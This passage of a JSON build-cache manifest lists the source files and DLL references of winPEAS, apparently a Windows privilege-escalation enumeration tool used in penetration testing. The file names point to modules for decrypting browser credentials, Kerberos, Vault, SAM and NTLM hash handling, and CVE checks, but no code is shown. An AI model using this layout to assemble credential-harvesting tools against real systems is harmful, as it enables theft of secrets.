rceFile":"3rdParty\\SQLite\\src\\mem1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\memjournal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_noop_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_w32.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\notify_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_common_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_win_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pragma_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\prepare_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\printf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\random_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\resolve_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\rowset_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\select_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3ext_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteicu_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteLimit_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\status_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\table_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\tokenize_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\trigger_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\update_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\utf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\util_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vacuum_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeapi_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeaux_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeblob_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\VdbeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbemem_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbe_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Vdbe_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vtab_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\walker_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\where_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\_Custom.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\EasyTypeConverter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectExtensions.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectMemberAccessor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\Parser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\RehashableDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\TypeUtils.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\UriEncoding.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlAnchorDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlConstructor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlDoubleQuoteEscaping.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlNode.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlParser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlPresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlRepresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlSerializer.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagPrefixes.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagResolutionScheme.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagValidator.cs"},{"SourceFile":"Checks\\ApplicationsInfo.cs"},{"SourceFile":"Checks\\BrowserInfo.cs"},{"SourceFile":"Checks\\CloudInfo.cs"},{"SourceFile":"Checks\\FileAnalysis.cs"},{"SourceFile":"Checks\\FilesInfo.cs"},{"SourceFile":"Checks\\Globals.cs"},{"SourceFile":"Checks\\ISystemCheck.cs"},{"SourceFile":"Checks\\EventsInfo.cs"},{"SourceFile":"Checks\\NetworkInfo.cs"},{"SourceFile":"Checks\\ProcessInfo.cs"},{"SourceFile":"Checks\\ServicesInfo.cs"},{"SourceFile":"Checks\\SystemInfo.cs"},{"SourceFile":"Checks\\UserInfo.cs"},{"SourceFile":"Checks\\WindowsCreds.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerHelper.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerRules.cs"},{"SourceFile":"Helpers\\AppLocker\\IAppIdPolicyHandler.cs"},{"SourceFile":"Helpers\\AppLocker\\SharpAppLocker.cs"},{"SourceFile":"Helpers\\HandlesHelper.cs"},{"SourceFile":"Helpers\\ProgressBar.cs"},{"SourceFile":"Helpers\\CredentialManager\\Credential.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialManager.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialType.cs"},{"SourceFile":"Helpers\\CredentialManager\\NativeMethods.cs"},{"SourceFile":"Helpers\\CredentialManager\\PersistenceType.cs"},{"SourceFile":"Helpers\\CredentialManager\\SecureStringHelper.cs"},{"SourceFile":"Helpers\\CustomFileInfo.cs"},{"SourceFile":"Helpers\\Extensions\\EnumExtensions.cs"},{"SourceFile":"Helpers\\MemoryHelper.cs"},{"SourceFile":"Helpers\\PermissionsHelper.cs"},{"SourceFile":"Helpers\\Search\\LOLBAS.cs"},{"SourceFile":"Helpers\\Search\\Patterns.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfig.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfigHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\ApplicationInfoHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\AutoRuns.cs"},{"SourceFile":"Info\\ApplicationInfo\\DeviceDrivers.cs"},{"SourceFile":"Info\\ApplicationInfo\\InstalledApps.cs"},{"SourceFile":"Helpers\\Beaprint.cs"},{"SourceFile":"Info\\CloudInfo\\AWSInfo.cs"},{"SourceFile":"Info\\CloudInfo\\AzureInfo.cs"},{"SourceFile":"Info\\CloudInfo\\EndpointData.cs"},{"SourceFile":"Info\\CloudInfo\\GWorkspaceInfo.cs"},{"SourceFile":"Info\\CloudInfo\\GCPInfo.cs"},{"SourceFile":"Info\\CloudInfo\\CloudInfoBase.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\ExplicitLogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\Logon.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonInfo.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShellEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Common.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\Power.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\PoweredEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreation.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreationEventInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\CertificateInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\Certificates.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfee.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSiteInfo.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSitelistInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\Office.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OfficeRecentFileInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\CloudSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\OneDriveSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\WSL\\WSLHelper.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\IPVersion.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\MibTcpState.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\Protocol.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\TcpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\UdpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettings.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsKey.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkConnection.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetPinger.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkUtils.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\PortScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\TcpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\UdpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\Win32Error.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditEntryInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicies.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicyGPOInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditType.cs"},{"SourceFile":"Info\\SystemInfo\\CredentialGuard.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNet.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNetInfo.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\GroupPolicy.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\LocalGroupPolicyInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipeInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipes.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\Ntlm.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\NtlmSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PluginAccessInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShellSessionSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\PrinterInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\Printers.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysMon.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonEventInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonHashAlgorithm.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonOptions.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrRule.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefender.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettingsInfo.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessions.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessionsInfo.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\JoinType.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\Tenant.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\TenantInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\AppCmd\\AppCmd.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPClientSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPServerSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPSettingsInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\RemoteDesktop.cs"},{"SourceFile":"InterestingFiles\\GPP.cs"},{"SourceFile":"InterestingFiles\\InterestingFiles.cs"},{"SourceFile":"InterestingFiles\\Unattended.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Brave\\Brave.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Browser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\BrowserBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Chrome\\Chrome.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\ChromiumBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\Login.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\GCDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\LocalState.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFLogins.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\Firefox.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\LoginData.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\IBrowser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\InternetExplorer.cs"},{"SourceFile":"Checks\\Checks.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\CredentialModel.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Opera\\Opera.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Enums.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Helpers.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Kerberos.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Structs.cs"},{"SourceFile":"KnownFileCreds\\KnownFileCredsInfo.cs"},{"SourceFile":"KnownFileCreds\\Putty.cs"},{"SourceFile":"KnownFileCreds\\RemoteDesktop.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\NtlmHashInfo.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBuffer.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBufferDesc.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecurityPackages.cs"},{"SourceFile":"KnownFileCreds\\Slack\\Slack.cs"},{"SourceFile":"KnownFileCreds\\SuperPutty\\SuperPutty.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_ELEMENT_TYPE.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_SCHEMA_ELEMENT_ID.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_ELEMENT.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN7.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN8.cs"},{"SourceFile":"KnownFileCreds\\Vault\\VaultCli.cs"},{"SourceFile":"Helpers\\MyUtils.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\SamServer.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\SID2GroupNameHelper.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Token.cs"},{"SourceFile":"Info\\UserInfo\\User.cs"},{"SourceFile":"Native\\Advapi32.cs"},{"SourceFile":"Native\\Classes\\SafeTokenHandle.cs"},{"SourceFile":"Native\\Classes\\UNICODE_STRING.cs"},{"SourceFile":"Native\\Enums\\AccessTypes.cs"},{"SourceFile":"Native\\Enums\\CredentialType.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FLAGS.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FORMAT.cs"},{"SourceFile":"Native\\Enums\\GPOLink.cs"},{"SourceFile":"Native\\Enums\\GPOOptions.cs"},{"SourceFile":"Native\\Enums\\NetJoinStatus.cs"},{"SourceFile":"Native\\Enums\\PrivilegeAttributes.cs"},{"SourceFile":"Native\\Enums\\SECURITY_IMPERSONATION_LEVEL.cs"},{"SourceFile":"Native\\Enums\\SECURITY_LOGON_TYPE.cs"},{"SourceFile":"Native\\Enums\\ServerTypes.cs"},{"SourceFile":"Native\\Enums\\SessionSecurity.cs"},{"SourceFile":"Native\\Enums\\SE_OBJECT_TYPE.cs"},{"SourceFile":"Native\\Enums\\SID_NAME_USE.cs"},{"SourceFile":"Native\\Enums\\TokenType.cs"},{"SourceFile":"Native\\Enums\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"Native\\Enums\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"Native\\Enums\\UserPrivType.cs"},{"SourceFile":"Native\\Enums\\WTS_INFO_CLASS.cs"},{"SourceFile":"Native\\Iphlpapi.cs"},{"SourceFile":"Native\\Ntdll.cs"},{"SourceFile":"Native\\Kernel32.cs"},{"SourceFile":"Native\\Netapi32.cs"},{"SourceFile":"Native\\Ntdsapi.cs"},{"SourceFile":"Native\\Psapi.cs"},{"SourceFile":"Native\\Samlib.cs"},{"SourceFile":"Native\\Secur32.cs"},{"SourceFile":"Native\\Structs\\DSREG_JOIN_INFO.cs"},{"SourceFile":"Native\\Structs\\DSREG_USER_INFO.cs"},{"SourceFile":"Native\\Structs\\LastInputInfo.cs"},{"SourceFile":"Native\\Structs\\LUID.cs"},{"SourceFile":"Native\\Structs\\LUID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\PRIVILEGE_SET.cs"},{"SourceFile":"Native\\Structs\\SID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\TOKEN_ELEVATION.cs"},{"SourceFile":"Native\\Structs\\TOKEN_MANDATORY_LABEL.cs"},{"SourceFile":"Native\\Structs\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"Native\\Structs\\USER_INFO_3.cs"},{"SourceFile":"Native\\User32.cs"},{"SourceFile":"Native\\Vaultcli.cs"},{"SourceFile":"Native\\WlanApi.cs"},{"SourceFile":"Native\\Wtsapi32.cs"},{"SourceFile":"TaskScheduler\\AccessControlExtension.cs"},{"SourceFile":"TaskScheduler\\Action.cs"},{"SourceFile":"TaskScheduler\\ActionCollection.cs"},{"SourceFile":"TaskScheduler\\CultureSwitcher.cs"},{"SourceFile":"TaskScheduler\\EnumGlobalizer.cs"},{"SourceFile":"TaskScheduler\\EnumUtil.cs"},{"SourceFile":"TaskScheduler\\JetBrains.Annotations.cs"},{"SourceFile":"TaskScheduler\\NamedValueCollection.cs"},{"SourceFile":"TaskScheduler\\NotV1SupportedException.cs"},{"SourceFile":"TaskScheduler\\ReflectionHelper.cs"},{"SourceFile":"TaskScheduler\\Task.cs"},{"SourceFile":"TaskScheduler\\TaskCollection.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\InteropUtil.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NetServerEnum.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NTDSAPI.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\SYSTEMTIME.cs"},{"SourceFile":"TaskScheduler\\TaskEvent.cs"},{"SourceFile":"TaskScheduler\\TaskFolder.cs"},{"SourceFile":"TaskScheduler\\TaskFolderCollection.cs"},{"SourceFile":"TaskScheduler\\TaskHandlerInterfaces.cs"},{"SourceFile":"TaskScheduler\\TaskSecurity.cs"},{"SourceFile":"TaskScheduler\\TaskService.cs"},{"SourceFile":"TaskScheduler\\Trigger.cs"},{"SourceFile":"TaskScheduler\\TriggerCollection.cs"},{"SourceFile":"TaskScheduler\\User.cs"},{"SourceFile":"TaskScheduler\\V1\\TaskSchedulerV1Interop.cs"},{"SourceFile":"TaskScheduler\\V2\\TaskSchedulerV2Interop.cs"},{"SourceFile":"TaskScheduler\\Wildcard.cs"},{"SourceFile":"TaskScheduler\\WindowsImpersonatedIdentity.cs"},{"SourceFile":"TaskScheduler\\XmlSerializationHelper.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Enums.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Structs.cs"},{"SourceFile":"Info\\NetworkInfo\\Firewall.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkInfoHelper.cs"},{"SourceFile":"Info\\ProcessInfo\\DefensiveProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\InterestingProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\ProcessesInfo.cs"},{"SourceFile":"Program.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"Properties\\Resources.Designer.cs"},{"SourceFile":"Info\\ServicesInfo\\ServicesInfoHelper.cs"},{"SourceFile":"Info\\SystemInfo\\SystemInfo.cs"},{"SourceFile":"Info\\UserInfo\\UserInfoHelper.cs"},{"SourceFile":"Helpers\\DomainHelper.cs"},{"SourceFile":"Helpers\\CheckRunner.cs"},{"SourceFile":"Helpers\\ReflectionHelper.cs"},{"SourceFile":"Helpers\\Registry\\RegistryHelper.cs"},{"SourceFile":"Helpers\\Search\\SearchHelper.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0836.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0841.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1064.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1130.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1253.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1315.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1385.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1388.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1405.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0668.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0683.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-1013.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0796.cs"},{"SourceFile":"3rdParty\\Watson\\Vulnerability.cs"},{"SourceFile":"3rdParty\\Watson\\VulnerabilityCollection.cs"},{"SourceFile":"3rdParty\\Watson\\Watson.cs"},{"SourceFile":"3rdParty\\Watson\\Wmi.cs"},{"SourceFile":"Wifi\\Wifi.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Interop.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\WlanClient.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Newtonsoft.Json.13.0.3\\lib\\net45\\Newtonsoft.Json.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.DirectoryServices.AccountManagement.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference 